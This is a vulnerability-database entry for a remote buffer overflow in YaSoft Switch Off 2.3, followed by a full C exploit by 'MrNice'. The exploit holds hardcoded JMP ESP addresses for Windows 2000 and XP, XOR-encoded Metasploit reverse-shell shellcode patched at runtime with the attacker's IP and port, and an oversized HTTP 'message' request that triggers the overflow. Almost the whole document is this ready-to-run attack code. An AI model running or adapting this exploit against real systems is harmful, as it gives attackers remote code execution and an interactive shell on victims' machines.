source: http://www.securityfocus.com/bid/9340/info

A vulnerability has been identified in the YaSoft Switch Off software package when handling message requests. The buffer overrun condition exists in the 'swnet.dll' module of the software due to insufficient bounds checking performed by the affected component. The overflow may be caused by sending an excessively long 'message' parameter to the application. This may make it possible for a remote user to execute arbitrary code through a vulnerable server.

/*******************************************************************/
/* [Crpt] Switch Off 2.3 exploit by MrNice [Crpt] */
/* --------------------------------------------------------------- */
/* */
/* Coder : MrNice */
/* Released on : 07/01/2004 */
/* Tested on : 2k Sp0 & Xp sp0 */
/* Advisory : www.securiteam.com/windowsntfocus/5BP011FBPI.html*/
/* Tech : The overflow can be caused by supplying an overly*/
/* long 'message' parameter to the application. */
/* */
/* If a password has been set, you will have to have*/
/* logged in to the server before issuing a */
/* malicious request to cause the overflow. */
/*******************************************************************/
/* www.coromputer.net && #coromputer on underet */
/******C***O***R***O***M***P***U***T***E***R*****2***0***0***4******/

#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#define close closesocket
#pragma comment (lib,"ws2_32")
#else
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#define JMP_ESP_2K "\x1F\xE5\xC7\x77" //2k sp0 FR
//#define JMP_ESP_XP "\xE7\x80\x9C\x71" //xp pro sp0 FR

#define JMP_ESP_2K "\xB8\x64\x75\x71"
#define JMP_ESP_XP "\xC1\x1C\x35\x77"


char ReversShell[]= //Dexorer without call (ff..) coded by MrNice
"\x83\xEC\x50\xD9\xE1\xD9\x34\x24\x5B\x5B\x5B\x5B\x80\xEB\xE7\x33"
"\xC9\x66\x81\xC1\x4F\x01\x80\x33\x96\x43\xE2\xFA"
//Reverse Shell from Metasploit
"\x7e\xa6\x96\x96\x96\xd5\xdb\xd2\x96\x71\xef\x50\xef\x7a\x6f\x3c"
"\xf6\x4f\x9f\x63\x3b\x5d\x7b\x6a\xad\x18\xd8\x98\x7a\xe8\x4e\x74"
"\xe5\x3b\x4f\x93\x58\xe4\x68\x25\x80\xc1\xc5\xa4\xc9\xa5\xa4\xb8"
"\xd2\xda\xda\x96\x97\xcd\xc2\x1f\x73\x1f\xcb\x96\xfc\xa6\xcf\xf2"
"\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a\x3b\x1d\xce\x9e\x7d\x9a\x1b\xc1"
"\xb2\xc7\xc4\x69\x46\x1f\x55\xcf\x7d\x86\xfc\x9e\xc8\x97\x78\xfc"
"\x9e\xcf\x1d\xeb\x96\x16\x6f\x92\xe2\x72\xc7\xc5\x69\xa2\x19\x7e"
"\x15\x96\x96\x96\xcf\x1f\x92\x18\x74\x7d\xa7\x69\xf0\x17\x7a\x06"
"\x97\xc2\xfe\x97\x97\x96\x96\x69\xc3\x8e\xc1\xc1\xc1\xc1\xd1\xc1"
"\xd1\xc1\x69\xc3\x82\x1f\x55\xa7\x69\xfe\x56\x3e\x96\x61\xfe\x94"
"\x96\xb4\x87\x1f\x77\xfc\x86\xc7\xc5\x69\xc3\x86\x13\x56\xe3\xd2"
"\x1b\xaa\xb2\xa7\x56\xfc\x83\xcf\x65\x3d\x50\xd2\xb2\x86\xd2\x68"
"\xd2\xb2\xab\x1f\xca\xb2\xde\x1f\xca\xb2\xda\x1f\xca\xb2\xc6\x1b"
"\xd2\xb2\x86\xc2\xc6\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x69\xe3\x96"
"\xc7\x69\xc3\xbe\x1f\x77\xfe\x69\x69\x69\x69\x69\xa7\x69\xc3\xb2"
"\xc1\x69\xc3\x9a\x69\xc3\xb6\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e\x1d"
"\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97\x7d"
"\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae\x76"
"\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77\x1d"
"\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92\x1d"
"\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";

  
//Fonction who set the shellcode coded by Kralor[crpt]
void set_sc(char *rhost, int rport, char *shellc0de)
   {
  unsigned int ip=0;
  unsigned short port=0;
  char *port_to_shell="",*ip1="";

  ip = inet_addr(rhost); ip1 = (char*)&ip;
  shellc0de[182]=ip1[0]^0x96;shellc0de[183]=ip1[1]^0x96;
  shellc0de[184]=ip1[2]^0x96; shellc0de[185]=ip1[3]^0x96;

  port = htons(rport);
  port_to_shell = (char *) &port;
  shellc0de[189]=port_to_shell[0]^0x96;
  shellc0de[190]=port_to_shell[1]^0x96;

   }

void banner()
   {
    printf("\n\t [Crpt] Switch Off 2.3 Remote Exploit by MrNice [Crpt]\n");
  printf("\t\t www.coromputer.net && Undernet #coromputer\n");
        printf("\t---------------------------------------------------------------\n\n");
   }
   
void usage(char *exe)
   {
    printf("\n\t [Crpt] Switch Off 2.3 Remote Exploit by MrNice [Crpt]\n");
  printf("\t\t www.coromputer.net && Undernet #coromputer\n");
        printf("\t---------------------------------------------------------------\n\n");
        printf("Syntax : %s <ip_vulnerable> <your_ip> <listening_port> <cible>\n",exe);
        printf("\nCible : \t0 - Windows 2000 (default)\n");
        printf("\t\t1 - Windows Xp\n\n");
        exit (-1);
   }
   
int main(int argc, char *argv[])
{
  int hsocket;

  struct hostent *host;
    struct in_addr adresseIP;
    struct sockaddr_in adressesocket;
   
    char BadString[700],Request[800];

  int i,len,cible=0;
  
  #ifdef _WIN32
  WSADATA wsaData;
  #endif
  
  if(argc<4)
     {
       usage(argv[0]);
   }
  
  if(argc>4)
     {
       cible=atoi(argv[4]);
     }
     
  banner();
  
  #ifdef _WIN32
    if(WSAStartup(0x101,&wsaData))
     {
    printf("[-] Unable to load winsock\n");
                exit (-1);
     }
  else
     {
       printf("[+] Winsock loaded\n");
     }
  #endif

  //Cr�ation de la socket
    if((hsocket=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
    printf("[-] Can't creat Socket\n");
    exit (-1);
    }
  else
     {
    printf("[+] Socket created\n");
     }
   
   //GetHostByName()
   if((host=gethostbyname(argv[1]))==0)
   {
   printf("[-] Can't acquire remote info\n");
   close(hsocket);
   exit (-1);
   }
  else
     {
    printf("[+] Remote info Acquired\n");
     }

   memcpy(&adresseIP,host->h_addr,host->h_length);
  
   //Preparation de la struct sockaddr_in
   memset(&adressesocket,0,sizeof(struct sockaddr_in));
   adressesocket.sin_family=AF_INET;
   adressesocket.sin_port=htons(8000);
   memcpy(&adressesocket.sin_addr,host->h_addr,host->h_length);

  
   if(connect(hsocket,(struct sockaddr *)&adressesocket,sizeof(struct sockaddr_in))==-1)
   {
   printf("[-] Can't connect on %s:8000\n",argv[1]);
   close(hsocket);
   exit (-1);
   }
  else
     {
    printf("[+] Connected on %s:8000\n",argv[1]);
     }
  
  set_sc(argv[2], atoi(argv[3]),ReversShell);
  printf("[+] Reverse ShellCode built\n",argv[1]);
  
  for(i=0;i<700;i++)
     {
    BadString[i]=(char)0x90;
     }
     
  for(i=260;i<623;i++)
     {
    BadString[i]=ReversShell[i-260];
     }
     
  if(cible==0)
     {
    memcpy(&BadString[256],JMP_ESP_2K,4);
     }
  else
     {
       memcpy(&BadString[256],JMP_ESP_XP,4);
     }
     
  BadString[700]=0x00;
  
  memset(Request,'\x00',sizeof(Request));
  sprintf(Request,"GET /action.htm?action=SendMsg&message=%s HTTP/1.1\r\n"
      "Host: 10.0.0.6:8000\r\n"
      "\r\n",BadString);
        
  printf("[+] BadString constructed\n");
  
  if((len=send(hsocket,Request,strlen(Request),0))==-1)
      {
    printf("[-] Error on sending BadString\n");
      close(hsocket);
      exit (-1);
      }
     else
     {
     printf("[+] BadString Sended (%d)\n",len);
     }
  return 0;
   }

